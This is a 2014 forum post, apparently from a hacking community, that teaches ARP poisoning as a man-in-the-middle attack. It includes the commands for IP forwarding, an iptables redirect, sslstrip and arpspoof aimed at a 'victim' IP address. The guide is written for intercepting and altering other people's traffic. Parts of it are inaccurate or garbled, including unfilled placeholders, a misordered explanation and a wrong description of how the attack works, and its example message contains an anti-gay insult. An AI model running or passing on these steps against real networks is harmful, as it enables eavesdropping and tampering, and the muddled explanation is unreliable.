Jan 13, 2014 02:06 PM
(This post was last modified: Jan 14, 2014 05:43 PM by Niggz.)
![[Image: 3FCThgk.png]](https://i.imgur.com/3FCThgk.png)
- ARP Poisoning -
What is ARP Poisoning?
ARP Poisoning or ARP Spoofing is an attack where the hacker cracks into the victims Address Resolution Protocal and redirects all the traffic that the victim is receiving or sending to themselves. In this attack the hacker has the ability to become the Man in The Middle which can actually edit the packets that are interacting with the victims computer. That basically means that the hacker can deliver fake messages from one person to another or do what ever he wants with them. I'll give you an example of what I mean.
Quote:Josh(Victim): (Sent) yo wazzup mah home shizzle Fred!
(Means To Send It To Fred But Gets In Hands Of Hacker Instead.)
Quote:Hacker: (Recieves) yo wazzup mah home shizzle Fred!
(Edits Message To) Fred your gay
![[Image: yiYEfJx.png]](https://i.imgur.com/yiYEfJx.png)
Before You Start:
Please note that you will need BackTrack 5 or Kali Linux for this to work. If you do not have it then this tutorial will not help you in any way.
![[Image: yiYEfJx.png]](https://i.imgur.com/yiYEfJx.png)
1. Open up the Terminal on the Backtrack desktop and type this to enable IP Fowarding:
Code
echo 1 > /proc/sys/net/ipv4/ip_forward2. After the previous code was entered Type This:
Code
iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport3.Finally type this in:
Code
sslstrip -p -l 1000Now that you have ARP Poisoned you are ready to become the Man In The Middle.
![[Image: yiYEfJx.png]](https://i.imgur.com/yiYEfJx.png)
Open up a new tab and type:
Code
arpspoof -i eth2 -t (victims IP v4 Adress here.) (Your Backtrack IP v4 Adress.)![[Image: yiYEfJx.png]](https://i.imgur.com/yiYEfJx.png)
Note that this could easily be used as an alternative to Cain & Abel/Wireshark when pulling IP Addresses.




![[Image: e74d785c4928522c47b9e75765cba5c2.png]](https://gyazo.com/e74d785c4928522c47b9e75765cba5c2.png)